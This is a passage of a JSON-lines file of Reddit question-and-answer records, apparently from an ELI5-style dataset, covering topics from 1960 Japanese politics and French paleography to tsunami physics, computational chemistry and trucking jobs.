the Allied Occupation of Japan had ended was due to expire that year and Prime Minister Kishi Nobusuke had made his primary political goal negotiating a new treaty that was less one-sided. He was successful, but in doing so he sparked [the largest anti-government demonstrations in Japanese history](_URL_0_). Kishi managed to get the treaty ratified by the Diet but his popularity had plummeted; he resigned immediately after.\n\nYou'd think that this would all be great news for Asanuma's Socialist Party, the largest opposition party, but this didn't actually turn out to be the case.\n\nFirst, the party had been plagued with factional infighting ever since it was formed in 1955 (as a merger of other parties). This came to a head when the party's right wing split off in January 1960 and formed the Democratic Socialist Party. This cost the party a number of seats (and its party president) and shaved off electoral support that it really needed.\n\nSecond, the Liberal Democratic Party (LDP; the party in power) was smart enough to get as far away from the security issue as possible. The LDP had always been divided between pro-business and nationalist conservatives but the anti-government demonstrations scared the party enough to hand the pro-business faction permanent control for the remainder of the Cold War. Kishi would be the last openly nationalist prime minister until his grandson Shinzo Abe, the current prime minister (or perhaps Koizumi, Abe's first predecessor).\n\nThe new prime minister, Ikeda Hayato, took office in July and announced his signature \"income-doubling plan\" in September. This was a bold economic policy which he promised would double Japan's real GDP within 10 years. This was extremely popular and, unfortunately for the Socialists, meant that the focus of the electoral campaign was firmly on economic issues, not security.\n\nThe Socialist Party only had 20-25% support in the early 60's, remaining pretty consistently 15-20% behind the LDP. Asanuma winning would have been a major upset and there's no reason to think that it would have happened. When the election was held a month after Asanuma's assassination (at a time when it seems likely that the party would benefit from a sympathy vote), it captured only 145 seats to the LDP's 296 (a decrease of 21 seats from the 1958 election)."]}, "title_urls": [], "selftext_urls": ["https://imgur.com/a/E5WHyVo"], "answers_urls": [[], [], ["https://www.google.co.jp/search?q=\u5b89\u4fdd\u95d8\u4e89&amp;num=20&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwj5jae2_97aAhWMwrwKHTgNAVMQ_AUICigB&amp;biw=1481&amp;bih=929#imgrc=_"]]}
{"q_id": "9tlak3", "title": "French paleography help", "selftext": "I need help identifying this document written in French. The date seems to read 23 November 1500; however, while the paper type and quality could fit this date, the script is way to modern for this to be an accurate reading. From what I've been able to tell, I think it's a letter between brothers, but if anyone can decipher anything further that would be greatly appreciated!\n\n & #x200B;\n\nHere's a link to the scan of the letter description and first page: [_URL_0_](_URL_0_) ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9tlak3/french_paleography_help/", "answers": {"a_id": ["e8yafob", "e8yiv9u"], "score": [3, 2], "text": ["Definitely (early?) 18th century writing, probably paper too. If you have it, check for a watermark and you can find out who made it (in that era in France it'd quite possibly be a Dutchman) Anyway, the more important stamp here is the one at the top \"G. DE LION\" is for the _G\u00e9n\u00e9ralit\u00e9 de Lyon_ - this is a notarized document, so it's not a personal letter but a bill of sale or something.\n\nAnyway, I have to go to bed and don't have time to do the whole thing, but it starts with: (accents/cedillas added)\n\n >  Pierre Demasso Chevalier\n\n >  seigneur de la fe[r]rier de Lissieu du Plantin \n\n >  Cap[itai]ne de cavalerie au r\u00e9giment de Villeroy\n\n >  s\u00e9n\u00e9chal de Lion et De la province de Lionna[is]\n\n >  s\u00e7avoir faisons qui pardevant le No[tai]re royal\n\n >  souss[ign]\u00e9 et les tesmoins et apr\u00e8s nomm\u00e9s sero\n\n >  [??] Jean-Bap[tis]te Rochon, vigneron ha..\n\nIt's just formalia up tot his point though, still not quite sure what they're attesting.\n", "I believe that it actually says November 23, 1700 (the 7 is just a bit wonky). You're right that this script is way too late for 1500. \n\nThe comment below is also right that this isn't a letter--this is a notarized document--a quittance specifically--that acknowledges receipt of payment of a donation mentioned in Jean-Baptiste Rochon's marriage contract from Estienne Rochon:\n\nRochon \"recognu avoir recu compte et ? en ? ayans courus d'Estienne Rochon, m. [jardinier] ?? en France Lionnais [don?] de Louis Rochon et Marie Goy ses pere et mere cy present la somme de cent quarante livres savoir cent dix livres pour payement et ? de pareille somme par ses pere et mere aud confessant par la donation port\u00e9 par le contract de mariage entre led Rochon et  [Amilee?] [Mallat?] sa femme par acte recu par deffunct M. De [Livais?] notaire royale...\"\n\nWhat that actually means I'm not entirely sure, as I don't normally work with these kinds of notarial documents. \n"]}, "title_urls": [], "selftext_urls": ["https://imgur.com/a/mWWgV9I"], "answers_urls": [[], []]}
{"q_id": "2f5tk8", "title": "why does greece have such a big army compared to their population/ size of the country?", "selftext": "Going by their GDP spent on the military, they're one of the highest in Europe. Why is that? Do they still fear an invasion from Turkey in the Aegean Islands, even in this day and age? Also, wouldn't budgetcuts to the military help out with their economic troubles?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2f5tk8/eli5why_does_greece_have_such_a_big_army_compared/", "answers": {"a_id": ["ck66j4h", "ck66yr5", "ck6dg9n", "ck6fx14"], "score": [2, 4, 2, 2], "text": ["The amount spent on the military in Greece is indeed astonishing - back in 2012, it was as high as 900 pounds **per person**. A restructuring and downsizing of the Greek military would be one of the best effective ways to avoid the situation it currently is in; if they had spent the EU average (1.7%) of their national budget on defence, they would have saved over half their GDP over twenty years. They have reduced military spending slightly over the last couple of years - but by a proportion nowhere near as high as health or education cuts.\n\nWhy do they spend so much? There are two main reasons given. The first is the supposed lingering threat of Turkey, which is a bit of a red herring in my book - Turkey and Greece have had improved relations in recent years, both belong to NATO, and the Turks even proposed a mutual reduction in military spending, to no avail. (They will always be able to use the Turkish invasion of Cyprus as justification.) The second is that they say they need a well-equipped army to deal with illegal immigrants, Greece being one of the top gates of entry into the EU, particularly for people coming from the middle-east and the Indian subcontinent.", "As with everything in Greece, public spending doesn't only correlate to the size of the public sector part, but also to the underlying corruption. But even if you exclude the % of military spending that ultimately goes in (former) ministers and generals pockets, the amount is too big for a country the size of Greece. \n\nI don't believe there is a chance for a Greco-Turkish *war* at the moment. There are however \"incidents\" that happen frequently. Airspace violations and dogfights over the Aegean that can sometimes lead to [fatalities](_URL_1_). Some 20 years ago there was another [incident](_URL_2_) regarding some disputed rocks in the Aegean. All these are part of an ongoing [dispute](_URL_0_) for the territorial waters distribution in the Aegean and the exclusive economic zones that are determined by it. The last real war between the two countries was in [Cyprus](_URL_3_) in '74.\n\nAll of the above, are in my opinion the justification for Greece to maintain a large army. \n\nYes it would be more beneficial for the money to be spent on creating jobs, healthcare etc, but most politicians aren't very keen on appearing negligent on the national defense issues.\n\nedit: grammar...", "In 2010 Greece spent 2.07% of its GDP on its military. \nIn 2011 Greece spent 2.63% of its GDP on its military. \nIn 2012 Greece spent 1.69% of its GDP on its military. \n\nI'd say they are already making some pretty big cuts. The numbers are not even particularly high compared to many other countries. ", "People in Greece are extremely grumpy about this subject too . Money spent on defense could be used in schools/hospitals etc . Most Greeks believe that since we are Europe's southeastern frontier we should be getting assists in the defense department from NATO/Europe but instead all we are getting is deals for ancient malfunctioning weaponry , deals that arent particularly profitable for our country but rather for general/politicians inbetween (See German submarines deal). One other thing that was prohibited for \"some\" reason was a part of our military that worked around the 1950s (formed after WW2) that used our militia to reconstruct public structure , a really profitable organization taht made roadswork/railwork/buildings that still see plenty of use to this day ,Can you guess who does that now? Yep foreign construction companies that we pay tenfolds. /ventin done\n\nSorry about that source: im Greek"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Aegean_dispute", "http://news.bbc.co.uk/2/hi/europe/5010736.stm", "http://en.wikipedia.org/wiki/Imia/Kardak#The_military_crisis", "http://en.wikipedia.org/wiki/Turkish_invasion_of_Cyprus"], [], []]}
{"q_id": "39ttsd", "title": "why many concert venues prohibit cameras, yet nearly every person there has a camera on their phone?", "selftext": "It would seem to make no difference to have decent photos from an actual camera verses photos that are being taken anyway with a camera phone. Every show I see literally hundreds of pictures being taken. Why the ban on cameras? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39ttsd/eli5_why_many_concert_venues_prohibit_cameras_yet/", "answers": {"a_id": ["cs6diqp", "cs6dvox"], "score": [5, 3], "text": ["Often, it's because a company has paid for exclusive rights to photograph or film the concert, and so the venue has to take reasonable steps to prevent someone else from doing the same.\n\nIt was a lot easier until the recent development of camera phones. But, it's not reasonable to keep the cell phones out, but that generally doesn't bother the people who have paid for the photo rights anyway.", "Back in the day I used to work security at a variety of concert venues, so I will try to summarize it up as best I can. A lot of it just boils down to a general courtesy for all concert goers. This was the primary reason I encountered venues refusing cameras. Many people get upset when someone in front of them is holding up a camera right in their field of view, it becomes a distraction. This alone caused many venues to implement \"No Camera\" policies. There were a few times when some concerts would be recorded to later be used for music videos (generally smaller artists), these became proprietary showings. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2d0zui", "title": "Can I duck dive under a tidal wave?", "selftext": "If I were treading water in the ocean and a massive tidal wave was approaching me, would it be possible for me to swim under the wave and wait for it to pass? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2d0zui/can_i_duck_dive_under_a_tidal_wave/", "answers": {"a_id": ["cjl2u4y", "cjl4sbb", "cjm056i"], "score": [14, 8, 3], "text": ["No.  \n\nA tidal wave, or tsunami, has a small amplitude (wave height) and very, very large wavelength.  If you were well offshore, you might not  even notice it. If you were near the shore, it would be like the water just coming and coming and coming at you. ", "Tidal waves are not just the surface. They are a massive movement of water, that near the shore, becomes compressed. If you were near the coast when it happens, it's not just the surface, it's like the tide is coming up incredibly fast and pushing you towards the beach.", "What /u/Pseu says is actually not the full truth. Tsunamis and their characteristics have been modeled by various mathematical equations such as the shallow water equation. I've done a postgraduate paper where we studied this exact phenomenon\n\nTo answer this question, you have to know a few things about tsunamis. So there's several characteristics of a tidal wave in the deep sea. The first is that the amplitude (height of the wave) is generally quite small, maybe a few meters. Secondly, tsunamis have a huge wavelength. Finally, in the deep sea, they travel extremely fast. I'm talking hundreds of kilometers a second. This is why it can reach far away countries in a matter of hours. Although a tidal wave may have a small amplitude in the deep sea, as the wave approaches the shore several things occur in a phenomenon known as shoaling\n\n* the wave increases hugely in amplitude. I.e. As the wave approaches shallower ground, it causes a really tall wave. Go look at any picture of a tsunami, it isn't a short wave that goes on for ages. It's a really tall one that comes through, with large ones being over 30 m in height.\n* the wavelength decreases. This basically means that the wave isn't as long. Don't be mistaken. They can still be over ten kilometers in length for a single wave in the tsunami when reaching the shore.\n* the wave gets slower as it approaches the shore. This is arguably the most destructive part of most tsunamis, especially with their huge wavelength. As they approach land, the decrease in speed of the wave means that everything it by the wave is underwater for a really long time. A reference I posted below gives a value of 36 km/hr once it hits shore. That is **0.01 km/s**. Take the wavelength of  10 km and you could be stuck in the wave holding your breath for over ten minutes.\n\nBasically, no. Without even taking into account of the currents, won't be able to dive under a tsunami unless you can hold your breath for ridiculous amounts of time.\n\nReferences:\n\n[1](_URL_1_) Physics teaching website\n\n[2](_URL_3_)  Taken from Queen Mary university of London \n\n[3](_URL_2_) Tsunami warning website\n\n[4](_URL_0_) this is a journal article about modeling tsunamis. You can see the relationships between wavelengths, depth, speed and amplitude here.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.springer.com/cda/content/document/cda_downloaddocument/9783319061320-c2.pdf?SGWID=0-0-45-1462519-p176689547", "http://hyperphysics.phy-astr.gsu.edu/hbase/waves/tsunami.html", "http://www.sms-tsunami-warning.com/pages/wave-shoaling-process#.U-cDTjIaySM", "http://www.maths.qmul.ac.uk/~jel/MTH6129/OWP/notes/MTH6129part4c.pdf"]]}
{"q_id": "dmzxk5", "title": "Is sinicization really a thing?", "selftext": "Over the years, I have heard about new Qing history, the (west coast?) school of thought which appeared in the 1990s and reinterpretated parts of the history of qing China by reviewing archives redacted in Manchu, which had been previously overlooked, including by Chinese historians. However that was already a while ago. \nIt has deep implications over the wide-sweeping and often-misused concept of sinicization, recent developments in Chinese politics (the government narrative as of recently eschewing references to a Chinese multiculturalism) and what it means to be Han (\u6c49).\n\n Is there still a debate on sinicization in relation to the new qing history? What are the conflicting points of view? Is there such a thing as sinicization or is that simply a consequence of nation building and orientalism? Do the progresses of genetic history (mitochondrial DNA etc) contribute to this debate?\n\nIs there any good book, accessible to the layman, to recommend on that topic? And more generally, on the topic of the 'colonization of China', including the conquest of Yunnan, \u95ef\u5e7f\u4e1c, etc. \n\nAdmittedly this is a very broad topic..\n\nThanks a lot", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dmzxk5/is_sinicization_really_a_thing/", "answers": {"a_id": ["f57y87u"], "score": [8], "text": ["Generally speaking, no, unless you're in the pay of the mainland government and thus forced to push its narrative of Han dominance. The 'Sinicisation' thesis simply does not hold up to scrutiny when considering how resilient Manchu identity was. Moreover, it has a fundamental theoretical flaw: it assumes that identities are based on essential characteristics, and not on the simple act of self-identification. It doesn't matter whether a Manchu speaks a Chinese language, if they wear Chinese clothes, or if they live in China. The key point is that they see themselves as a Manchu. Obviously there were external factors reinforcing it, and the Banner system was especially important among these, but the core point remains.\n\nI've got a couple of older answers that cover this: [this one on the 'Manchuness' of the Qing state](_URL_0_), and [this on the Banner system and Manchu identity](_URL_1_). [A follow-up in this thread](_URL_2_) by /u/lishijia is also quite a good pointer.\n\nAs for reading, there's not much that's particularly accessible, but Mark Elliott's *The Manchu Way* and Edward Rhoads' *Manchus and Han* I found not to be too much of a slog despite a more academic focus (the former covers up to around 1800, the latter takes it through to the late 19th century and into the 20th). William T. Rowe's *China's Last Empire* is accessible has good historiographical coverage in parts, but I personally found his addressing of the Manchu issue too understated. Frederic Wakeman's *The Great Enterprise* is a more or less totally comprehensive overview of the Manchu conquest, though predates the New Qing school in terms of the underlying understanding of Manchu rule. Peter Perdue's *China Marches West* is not the briskest read, but should hit home the simple differentness of how the Manchus operated outside China. If you're interested in something a little more particular, Laura Hostetler's *Qing Colonial Enterprise* is a really fascinating exploration of how cartography and ethnography were used in Qing absolutist state-building."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/d2i0ej/how_manchu_was_the_qing_dynasty/ezv9ngm/", "https://old.reddit.com/r/AskHistorians/comments/daw755/what_exactly_were_the_eight_banners_organisation/f1vug20/", "https://www.reddit.com/r/AskHistorians/comments/3inc7t/did_the_idea_of_the_mandate_of_heaven_continue/cui45bd/?context=10000"]]}
{"q_id": "1zmhmj", "title": "We know how elements react on an atomic level. Why can't we throw it into a computer simulation and brute force new substances?", "selftext": "I have a feeling it to do with us not fully understanding something rather than lack of computing power, but I can't figure out what.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zmhmj/we_know_how_elements_react_on_an_atomic_level_why/", "answers": {"a_id": ["cfuzoas", "cfv04rj", "cfv0len", "cfv1d96", "cfv2twn", "cfv3o79", "cfv40l0", "cfv4j7h", "cfv9025", "cfv92qm", "cfv9gb8", "cfv9ljp", "cfvcu1o", "cfvd76o"], "score": [14, 959, 95, 7, 2, 14, 10, 3, 8, 51, 2, 2, 8, 8], "text": ["We do computer simulations all the time. Ken Houk at UCLA is one of the top people in the fields for simulations on organic molecules. These simulations are usually not entirely accurate because there are lots of approximations used, but they are getting better all the time.", "At the state of the art in computational chemistry, it's still quite difficult to make your calculations line up with known experimental data, so predicting the result of an unknown reaction is usually done with some hesitation.  \n\nAs for building new substances on the computer, I do that all the time.  Time is a synthetic chemist's most valuable resource, and if I can at least show with calculations that a given molecule with the desired features isn't horribly impossible, it's probably worth trying to make.\n\nIt's kind of unfortunate the some of the most important and interesting features of molecules are the hardest to model on a computer.  The extremes of bonding and reactivity (very weak interactions or bonds on their way towards breaking) are exceedingly difficult to model correctly, and predictions that invoke these states are often inaccurate.  \n\nThe most important thing to know is that we have the ability to correctly model nearly any molecule you can imagine.  The physics governing chemistry has been known for close to 100 years now.  It's the implementation that's hard.  There are computational methods that allow you to access this high level of accuracy (what is called full-CI), but the compute time increases as the factorial of the number of electrons.  Obviously nobody's going to use this method on a protein for a very, very long time.", "Ok so I am going to expand a little more.  Yes we do attempt to do this using computers, BUT!  Here is where things get tricky. \n\nWe can make chemical structures in a computer and have it spit out the energy to figure out if the new molecule is a stable structure.  We do things like that all the time.  The problem with actually applying this is that you not only need to know if a molecule is stable, but you need to have a way to actually synthesize it and here is where that becomes a problem computationally.   Even if a molecule is stable if you have to go through a highly unstable intermediate to get the molecule odds are it is going to be impossible or very expensive to synthesize the compound in real life. \n\nFirst of all chemical reactions computationally are actually difficult to do at times because of the complex nature of them.  If we are studying an already known mechanism it can be pretty (relatively speaking) easy, but when we are looking at figuring out how to synthesize a new compound that's where it can be difficult.   Because it isn\u2019t as simple as putting molecule A next to B and typing \u201cCalculate\u201d.   You have to figure out the angle of attack, what functional site it may attack, if any solvents might assist in the reaction, if any prior chemical reactions need to occur, etc.   Basically there are so many variables to take into account that it becomes difficult.  \n\nYou also have issues where the current quantum calculation methods have known issues when computing thermodynamical values over multiple reaction steps.  The small errors can compound and add up to be large enough to throw your answer off completely. Lastly some of the reactions can be so detailed that it becomes infeasible to attempt the calculations because it will take too long.\nSo in short we do have methods we can use to search for molecules, but it is by no means trivial.  It takes a lot of time and effort to attempt one of these calculations.\n", "We don't even need computers to come up with new possible molecules: we know the elements, and many reactivity patterns between them.  \n\nI think the question you're asking is better written, \"Why can't we pick a desired property of a compound and use a computer model to identify a compound with that property?\"  \n\nOne answer to this question is, we can do this, but how well we are able to do it correlates with how much we already know about why compounds have that specific property.  \n\nFor this and other reasons, one of the main uses of computational chemistry is descriptive.  We seek to accurately model the observed properties of known compounds, with the belief that if we do this well enough, we will be able to (a) explain the observations, and (b) predict other compounds in which we might observe similar things.", "In order to simulate materials exactly, you have to use quantum mechanics.  Quantum mechanics can be simulated, but it uses _exponential space_ in the number of particles because in QM, for each classical _possibility_ you have a complex number.\n\nFor example, consider an electron that's not even moving around; its position is fixed.  if we measure which way it's spinning, we'll get either clockwise (\"down\", 0) or counterclockwise (\"up\", 1).  To each of these possibilities, QM assigns a complex number called an \"amplitude\", so to describe the state of the electron, we need two dimensions.  Now suppose we have three electrons that aren't moving.  There are 2\u00b3 = 8 possible outcomes (000, 001, 010, 011, 100, 101, 110, 111), so we need eight amplitudes to describe the state.\n\nNow think of a particle in a box.  Say we chop up the length, width, and height of the box into 100 chunks, so there are a million different classical possibilities for the particle's position.  Now we put n particles in the box.  To simulate the state of that system exactly, we need (a million to the nth power) complex numbers.  If you want to simulate a mole of these particles, that's (a million to the 6x10\u00b2\u00b3 power) complex numbers to keep track of; note that there are only around 10^80 particles in the universe.\n\nN.B. I lied a little above: there's one constraint on the system, namely that all the squared magnitudes of the amplitudes sum to one.  That means that instead of 2\u207f amplitudes for n electrons with fixed positions, you need 2\u207f - 1.  It doesn't change the fact that you very quickly run out of space.\n\nBecause you can't simulate it exactly, people have come up with lots of good heuristics and have developed new materials by simulation; but developing good heuristics is a very hard problem that may not even have a solution.", "I'm speaking from a computer science perspective as I have very little knowledge of atomic chemistry.\n\n\"Brute Force\" is always the slowest approach to solving a problem and quickly becomes incredibly impractical for a large enough or complex enough problem.\n\nAs an example, breaking a 104 bit WiFi WEP key takes about a minute or two on a cheap laptop using statistical weaknesses in the encryption and a flaw in the protocol that allows you to get sample data to process. However to brute force your way through the entire 104 bit key space would require a system capable of 1 million checks per second running for 643 Quadrillion years.\n\nThat's just 104 yes/no, up/down/, left/right, etc. state variables and scaling that system up to supercomputer specs is going to make all the difference of filling the ocean with a fire hose instead of a squirt gun (i.e. it still isn't happening before the sun burns out).\n\nSo, we basically need to have a clever enough model of what we're looking for before we can embark on a computational search for anything with an exponential possibility space.", "I can comment on this a bit from solid state physics perspective. We use quite similar methods as Quantum chemists in solid state physics, though we do not have any methods available that would be fully accurate for small systems. I think the reason is essentially that even very simple solids are fairly demanding computationally compared to molecules.\n\nWhat we can do fairly well is predict properties of a solid with known crystal structure. These calculations are not always accurate but in many cases give quite good results. What is very difficult to do is the opposite: given some properties find a structure which has these properties. People try to do that, but it's a lot of work and there is no guaranteed success. It usually involves a lot of trial and error and it's usually based on experience with similar materials.\n\nPeople calculate properties of materials that have never been synthesized regularly, but there are issues with that. One big issue is that we cannot really predict a crystal structure. We can easily do the calculation if we know the crystal structure, but finding it without any guidance from experiments is close to impossible. Another issue is that even finding whether given structure will even be stable or possible to synthesize is very difficult too. Luckily, you will find that similar materials often have similar crystal structure and can often be prepared using similar methods. So usually when we try to calculate new materials, we don't try completely exotic materials we know nothing about, but rather we try a variant of a known material. Often if you replace one atom by a different atom from the same column in periodic table many properties (including crystal structure) will remain the same.\n\nAt this point because of the issues I mentioned and because the calculations are not always accurate, the experiment is always crucial. Theoretical calculations can give tips on which materials might be interesting and they help a lot for analyzing the experimental results, but their power is limited without experiments.", "A lot of what we know about chemical reactions is experimental. What actually happens on atomic and subatomic levels during reactions is much more complicated than we are able to accurately observe (without our method of observation physically changing what is happening).\n\nIt's like you want to measure the temperature of a droplet of very hot molten metal, but all your technology has access to is a mercury thermometer. The thermometer is not going to be the same temperature as your droplet and since the droplet is so small, your thermometer will actually change the temperature of it. The same idea happens with a lot of other atomic measurements we make.\n\nTo look at the simplest hydrocarbon combustion reaction:\n\nMethane (CH4) combusts to form H2O and CO2 when reacted with oxygen.\n\nIn reality there are many steps to the reaction, which include many free radical steps, where hydrogen atoms break off the carbon atom one at a time, taking a single electron with them. They then quickly react with their each other or a nearby oxygen atom to form H2 or some radical form of an OH molecule. If H2 forms it will quickly react again with oxygen in a similar combustion reaction. Eventually (in the span of micro-nanoseconds) the entire methane molecule will have been torn apart and it's individual pieces will have reacted with nearby atoms in some way. Atoms keep reacting until they eventually all form H2O and CO2, the most stable molecular combinations available.\n\nThat's only the simplest hydrocarbon.\n\nObviously all the steps in that reaction take place extremely quickly, so it's often suffice to simplify the reaction to \n\nCH4 + O2 - >  H2O + CO2\n\nFor more detail, a common intermediate step is introduced, which is the formation and subsequent destruction of CO.\n\nCH4 + O2 - >  CO + H2O\n\nCO + O2 - >  CO2 + H2O\n\nThis is by far a good enough model for all practical purposes, but when it comes to the detail we would need to start making our own combinations, we need all of that data on the small steps.\n", " >  it [has to] to do with us not fully understanding something rather than lack of computing power\n\nIt's the other way around, in fact. We have the equations describing more or less exactly what would happen (Schr\u00f6dinger equation, or Dirac equation if you want to go relativistic), but the complexity of actually solving these elegant equations grows like crazy if you add more than a few electrons to the game. So, bluntly put, we make a bunch of simplifications which turn the elegant first-principle equations into horrible-looking monsters, but also make the computations possible.\n\nThe limiting factors are the quality vs tractability of these approximations, and how much time and computing power you have acces to.", "**We can, we have, and it is still a major ongoing research initiative, known as High-Throughput First-Principles Computational Materials Science**\n\nDespite what other people are saying in this thread, the truth is that many quantum computational methods have predictive accuracy, where we can calculate specific material properties with sufficient precision to screen whether or not hypothetical new materials would be *competitive candidates* for a particular application. For example, we can predict the voltages and capacities of new Li-ion battery chemistries with good enough accuracy to predict new Li-ion batteries. These calculations can be performed relatively quickly - several hours per material on a typical academic sized cluster. \n\nThe great thing about computing is that if you can calculate something once, you can write a for-loop and calculate it as many times as you'd like on any variety of different materials. Our research group has actually **calculated the thermodynamic and electronic properties of all known inorganic materials in the Inorganic Crystal Structure Database**, which is around 150,000 materials, under about 50,000 unique compositions. This data is publicly available on the [MaterialsProject](_URL_0_), which also includes apps for materials scientists, inorganic chemists, and geologists, to utilize this data to perform their own research. \n\nThis vision began at the Ceder Research Group at MIT, where it was titled the \"Materials Genome Project\". In 2012, President Obama worked with Professor Ceder and expanded this idea to a nationwide initiative, known as the [Materials Genome Initiative](_URL_1_), with the purpose of finding and predicting new materials. Since then, many research groups around the nation have joined in this collective effort to predict new materials for batteries, solar cells, thermoelectrics, piezoelectrics, catalysts, water-splitting cells, and more. \n\nI am a 4th year PhD student in the Ceder Group, you can AMA if you would like. \n\nSome further reading:\n\nScientific American Article: \n\n_URL_2_\n\nPowerpoint Presentation (slightly technical):\n\n_URL_3_\n\nMaterialsProject website:\n\n_URL_4_", "As a programmer when I see the incredible healing machine in a movie like Elyslim I assume that the computer knows all possible outcomes of medicines and changes to molecules would have on the body. And then I relate it to the unit testing that we can do today and I assume that it would require millions upon millions of tests to be able to predict what a minute change would do to the whole system (human body)", "Computational limits: There is a computational \"limit;\" the limit is time and resources versus practicality, availability and the need to publish. The more atoms or electrons in the computation, the more costly the computation. \n\nKnowledge and understanding: computational studies can do a shitton, sometimes very fast paced compared to the pace of laboratory work. But the problem is that just because we can simulate it and the numbers come back reasonable does not mean that this IS THE reality as it occurs in nature.  It only means that it is a possible option, it's not physically unrealistic. There's a lot of stuff that isn't physically unrealistic but still doesn't occur under the conditions which it can be observed and confirmed experimentally. You can come up with many realistic outcomes and have none of them actually occur or do what the computation or simulation predicts, for various reasons. \n\nOne big reason why computations are not solving all our problems right now is that many simulations or computations are done in a \"vacuum\" - in an empty 3D grid space. For many reactions - take the organic synthesis example someone already mentioned - there would be tons of solvent (e.g. water, or something else) molecules around. Or gaseous molecules. What's more, there are interactions between those solvent molecules and the other molecules in solution. It's never just a molecule, or nanoparticle, or surface, and its electrons; it's those things, plus their solvent shells. We often don't know how far out we actually need to probe, in terms of intermolecular interactions. My opinion is that it's usually not possible to go far enough. So, even if we take just an organic molecule, or a piece of DNA, we would have to tell the computer how to place the solvent molecules around it. \n\nIn addition to the space issue - there's the time issue as well. Nothing is frozen in time in reality, the way it is in many computations. Adding to the problem of placing solvent molecules around our space, we have to calculate the result of, say, what happens when a charge moves from area to another - it will cause the solvent molecules to rearrange. That needs to be taken into account. Depending on how that goes, there could be new properties and unforeseen reactions. \n\nUnforeseen reactions is my opinion of where we really have to focus.\n\nAnother aspect often overlooked is that the computational work is still our work. We're the people writing the code and telling the computer what to do. The computer doesn't know what an electron is. To the computer, it is just a bunch of numbers. Therefor it is very easy to play out only one or a small number of possible realities, sometimes inserting our own biases. It's not so much an ethics issue as it is a need to have a priori knowledge of what we should look for. \n\n", "For some reason, nobody seems to be addressing the reasons why this problem is so computationally intensive, so I'll try.\n\nPut simply, the computation is difficult because **atomic reactions are governed by quantum mechanics**.  Thanks to the Heisenberg uncertainty principle, a particle at rest cannot have a well-defined position.  Rather, in some sense, the electrons exist everywhere at once, distributed throughout an orbital cloud.  When an atom has several electrons, each of these electrons has its own cloud, and these clouds interact with each other.  Moreover, these clouds are entangled with each other: for example even all the clouds of the individual electrons are thick in one region, you can't find more than one electron in the same spot.  Roughly speaking, the computations involve keeping track of the probability density clouds for finding *each of the electrons in every possible location*, **all at once**.  Since there is an **infinite continuum of possible locations in space**, the solutions can only be approximated, and the numerical errors are very difficult to control.", "Simulating an arbitrary chemical reactions requires being able to simulate complex quantum systems efficiently (as described well by other commenters). In order to do this efficiently, you need a quantum computer. So even though we can do this now on a classical computer, it's horribly inefficient (or inaccurate). These kind of simulations will be one of the first uses of quantum computers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["www.materialsproject.org", "http://www.whitehouse.gov/mgi", "http://www.nature.com/scientificamerican/journal/v309/n6/full/scientificamerican1213-36.html", "http://web.ornl.gov/sci/cmsinn/talks/8_ceder.pdf", "https://materialsproject.org/"], [], [], [], []]}
{"q_id": "2qlfsz", "title": "why are there so many trucking and welding jobs needing to be filled? (according to all the truck driving and welding school commercials)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qlfsz/eli5_why_are_there_so_many_trucking_and_welding/", "answers": {"a_id": ["cn75vvk", "cn75x68", "cn75z9e", "cn761ex", "cn76rwz", "cn7777d"], "score": [7, 28, 14, 12, 4, 3], "text": ["There are many trucking jobs because there is an increased need for transportation of goods. As there are more people in cities there need to be more trucks bringing goods from farms, quarries, etc and the warehouses that store those goods into areas where those goods are distributed.", "Younger people aren't taking those jobs. People my little brother's age have been told their whole life that they can all be CEOs and doctors. They're convinced that such jobs are beneath them, and I've been told exactly that by several 20 somethings. I drive a truck, and despite the fact that I own my own business and make good money my siblings will always look down their nose at it a bit. ", "Every trade school and college will always tell you whatever you are interested in will always have jobs. Schooling is a product and they are advertising it. No one wants to spend a massive amount of money just to end up working at a gas station.", "I'm not sure about welding but the trucking industry has a high turnover rate. With standards getting higher and higher its harder to get into the industry and stay in it. The job itself is physically and mentally taxing. I have known several drivers who have gone through messy divorces because they were never home. Physically, driving a truck does a lot of damage to your spine from the constant bumps and jumps that you experience. There is an system in place to help with it by cushioning you but it still takes a toll, not to mention you are driving for up to 11-14 hours a day(depending in which country you are driving.) Trucking companies will try to short change you in pay, and cut your insurance. I was lucky that I found a good company that helped me in every way but I ended up hurting my back and could no longer sit for long amounts of time. The trucking industry is the backbone of the world, and the saying goes \"the only thing we don't deliver is babies.\"  So I wouldn't expect it to go anywhere any time soon.", "There are a lot of reasons, primarily it is because industry in this country sort of created a gap in the training of new tradesmen when they decided to ship a lot of production over seas. In short a shit load of people who work as tradesmen are retiring and their arent enough skilled people to take their places. I dont even want to get into all the problems this country is going to face because of this but every one should get their shit ready for a storm. Our economy is about to get a lot more fucked up due to this situation. America can kiss it's privately subsidized freight good bye.", "The boom in oil exploration in the US and Canada has created a lot of trucking and welding jobs. Where I live, oil wells are pumped into tanks right at the well. An oil truck comes along, picks the crude up, drops it off at a battery (the end of a pipeline that goes to a refinery). Then, vac trucks go to wells to suck out the sand and water that comes out with the oil. This goes on 24 hours a day for thousands of wells. You also need truckers to haul equipment and material around. Welders are constantly fixing things, and manufacturing pipelines, tanks, structures. This is the primary cause of the recent boom in trucking and welding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
